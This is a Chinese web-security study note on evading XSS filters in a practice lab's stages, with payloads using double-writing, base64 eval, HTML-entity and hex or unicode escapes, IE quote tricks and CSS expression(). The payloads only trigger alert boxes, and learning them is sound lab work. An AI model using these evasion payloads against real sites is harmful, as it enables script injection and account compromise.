热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

XSS漏洞绕过

Web安全攻防学习笔记


Web安全攻防 学习笔记


一、XSS 漏洞

1.1、跳过 Stage #9

在 span 标签中添加 Onclick= "alert(document.domain)" (其他关卡也可以这样跳过)

在这里插入图片描述


1.2、domain 过滤绕过

首先还是构造特殊无害字符串,响应中寻找字符串观察闭合格式。
在这里插入图片描述



  1. 双写绕过

"><script>alert(document.dodomainmain);</script>


  1. 编码绕过

    (1)加密 alert(document.domain)
    (2)得到 YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
    (3)atob 解码 base64
    (4)eval 执行 Javascript 代码



"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

1.3、绕过替换 script 和 on 事件的 XSS



  • script 替换成 xscript
    在这里插入图片描述

  • onmouseover 替换成了 onxxx
    在这里插入图片描述

  • Javascript 伪协议也不行
    在这里插入图片描述

在 Stage #11 演示

&#09; tab 制表符 html 十进制编码
&#160; 空格 制表符 html 十进制编码
=> (在这里四个空格 ≠ 一个 tab, 当然也可能是浏览器或者是编码本身的问题)

">#09cript:alert(document.domain);">xss
">#160&#160&#160&#160cript:alert(document.domain);">xss




二、利用 IE 特性绕过 XSS 过滤

2.1、没有 IE 浏览器可以用 IETester 代替



  1. 官网:https://www.my-debugbar.com/wiki/IETester/HomePage



  2. 在 IETester 中打开 Stage #xx 网址进行测试



  3. 在 IETester 中进行测试,因为各个版本的 IE 都需要进行测试,Windows10 里面自带的 IE 不会执行



2.2、Stage #12 绕过的引号及尖括号过滤



  1. IE 中两个反引号 &#8220; 可以闭合一个左边双引号 "



  2. 那么比用尖括号的情况下,可以这样闭合: &#8220;οnclick=alert(document.domain) 。(这个只适用于IE浏览器,且可能不是每个版本都兼容)



2.3、Stage #13 利用 CSS 特性绕过 XSS 过滤



  1. CSS 层叠样式表,是一种用来表现 HTML 或 XML 等文件样式的计算机语言。可以修饰页面效果,拿网站效果演示,修改 css 看页面效果



  2. 观察发现,输入的内容存放在 style



  3. 输入背景设置 background:url("Javascript:alert(document.domain);"); (并不是所有版本的 IE 都可以)



2.4、Stage #14 IE 中利用 CSS 触发 XSS

        css expression(css表达式)又称 Dynamic properties(动态属性)是早期微软 DHTML 的产物,以其可以在 CSS 中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从 IE5 开始得到支持,后因标准、性能、安全性等问题,微软从 IE8 beta2 标准模式开始,取消对 css expression 的支。



  • CSS 中执行 JS

    IE5 及其以后版本支持在 CSS 中使用 expression,用来把 CSS 属性和 Javascript 表达式关联起来


here:expres/\*\*/sion(if(!window.x){alert(document.domain);window.x=1;});

=> # 后面是一个 JS 的判断: 如果 window.x 参数不存在, 那么执行后面的语句
# 由 here:expression(if(!window.x){alert(document.domain);window.x=1;}); 改写而来
# 因为存在 expression -> xxx 替换
here:e\\0xpression(οnmοuseοver=function(){alert(document.domain)})

=> # 意为:onmouseover 事件触发后面的匿名函数
# 由 here:expression(οnmοuseοver=function(){alert(document.domain)}) 改写而来
# 因为存在 expression -> xxx 替换




三、16 进制绕过过滤触发 XSS

3.1、十六进制介绍

        十六进制转换,16 进制每一位上可以是从小到大为 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F 16 个大小不同 的数,即 逢 16 进 1,其中 A,B,C,D,E,F(字母不区分大小写),这六个字母来分别表示 10,11,12,13,14,15


3.2、Python —— 16 进制转换

import binascii

s = binascii.b2a_hex(">" .encode("utf8"))
print(s.decode()) # 把 > 转换为 3e; 测试得 <转为 3c

print("\\x"+s.decode()) # 在编码前面加上 \x, 第一个 \ 用来转义, 最终得 \x3e

在这里插入图片描述

为什么要加 \x

因为 Javascript 不会自动将 3e 看作是 >,因为它不认识,所以要加上 \x 即 \x3e Javascript 才会在执行是转换为 >

Stage #15 测试



  1. 尝试得,输入之前的字符串都会被当作是字符串存放在 value 中



  2. 双斜杠+16 进制绕过



\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
# \x3c 与 \x3e 分别表示 <和 >
# 还有一个 \ 用于转义其后面的 \

在这里插入图片描述




四、Unicode 绕过过滤触发 XSS

4.1、Unicode 介绍

        Unicode(万国码、国际码、统一码、单一码)是计算机科学领域里的一项业界标准。它对世界上大部分的文字系统进行了整理、编码,使得电脑可以用更为简单的方式来呈现和处理文字。

        Unicode 是为了解决传统的字符编码方案的局限而产生的,它为每种中的每个字符设定了统一并 且唯一的二进制编码,满足跨语言、跨平台进行文本转换、处理的要求。


4.2、Python —— Unicode 转换

import binascii

s = binascii.b2a_hex(">".encode("utf8"))
print(s.decode()) # 把 > 转换为 3e; 测试得 <转为 3c

print("\\u00"+s.decode()) # 在编码前面加上 \u00, 第一个 \ 用来转义, 最终得 \u003e

Stage #16 测试



  1. 尝试得,输入之前的字符串都会被当作是字符串存放在 value 中

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

在这里插入图片描述



推荐阅读
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • 在Xamarin XAML语言中如何在页面级别构建ControlTemplate控件模板
    本文介绍了在Xamarin XAML语言中如何在页面级别构建ControlTemplate控件模板的方法和步骤,包括将ResourceDictionary添加到页面中以及在ResourceDictionary中实现模板的构建。通过本文的阅读,读者可以了解到在Xamarin XAML语言中构建控件模板的具体操作步骤和语法形式。 ... [详细]
  • 篇首语:本文由编程笔记#小编为大家整理,主要介绍了常用#免费%代理IP库&整理*收藏——实时@更新(大概)相关的知识,希望对你有一定的参考价值。 ... [详细]
  • Java太阳系小游戏分析和源码详解
    本文介绍了一个基于Java的太阳系小游戏的分析和源码详解。通过对面向对象的知识的学习和实践,作者实现了太阳系各行星绕太阳转的效果。文章详细介绍了游戏的设计思路和源码结构,包括工具类、常量、图片加载、面板等。通过这个小游戏的制作,读者可以巩固和应用所学的知识,如类的继承、方法的重载与重写、多态和封装等。 ... [详细]
  • 本文介绍了闭包的定义和运转机制,重点解释了闭包如何能够接触外部函数的作用域中的变量。通过词法作用域的查找规则,闭包可以访问外部函数的作用域。同时还提到了闭包的作用和影响。 ... [详细]
  • VScode格式化文档换行或不换行的设置方法
    本文介绍了在VScode中设置格式化文档换行或不换行的方法,包括使用插件和修改settings.json文件的内容。详细步骤为:找到settings.json文件,将其中的代码替换为指定的代码。 ... [详细]
  • Nginx使用(server参数配置)
    本文介绍了Nginx的使用,重点讲解了server参数配置,包括端口号、主机名、根目录等内容。同时,还介绍了Nginx的反向代理功能。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • JavaScript和HTML之间的交互是经由过程事宜完成的。事宜:文档或浏览器窗口中发作的一些特定的交互霎时。能够运用侦听器(或处置惩罚递次来预订事宜),以便事宜发作时实行相应的 ... [详细]
  • 单页面应用 VS 多页面应用的区别和适用场景
    本文主要介绍了单页面应用(SPA)和多页面应用(MPA)的区别和适用场景。单页面应用只有一个主页面,所有内容都包含在主页面中,页面切换快但需要做相关的调优;多页面应用有多个独立的页面,每个页面都要加载相关资源,页面切换慢但适用于对SEO要求较高的应用。文章还提到了两者在资源加载、过渡动画、路由模式和数据传递方面的差异。 ... [详细]
  • 本文介绍了互联网思维中的三个段子,涵盖了餐饮行业、淘品牌和创业企业的案例。通过这些案例,探讨了互联网思维的九大分类和十九条法则。其中包括雕爷牛腩餐厅的成功经验,三只松鼠淘品牌的包装策略以及一家创业企业的销售额增长情况。这些案例展示了互联网思维在不同领域的应用和成功之道。 ... [详细]
  • 本文总结了在编写JS代码时,不同浏览器间的兼容性差异,并提供了相应的解决方法。其中包括阻止默认事件的代码示例和猎取兄弟节点的函数。这些方法可以帮助开发者在不同浏览器上实现一致的功能。 ... [详细]
  • python实现内容写在图片上的方法
    这篇文章主要介绍python实现内容写在图片上的方法,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!具体代码内容如下:#-*-co ... [详细]
  • 技术分享:如何在没有公钥的情况下实现JWT密钥滥用
      ... [详细]
author-avatar
傅笑寒
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有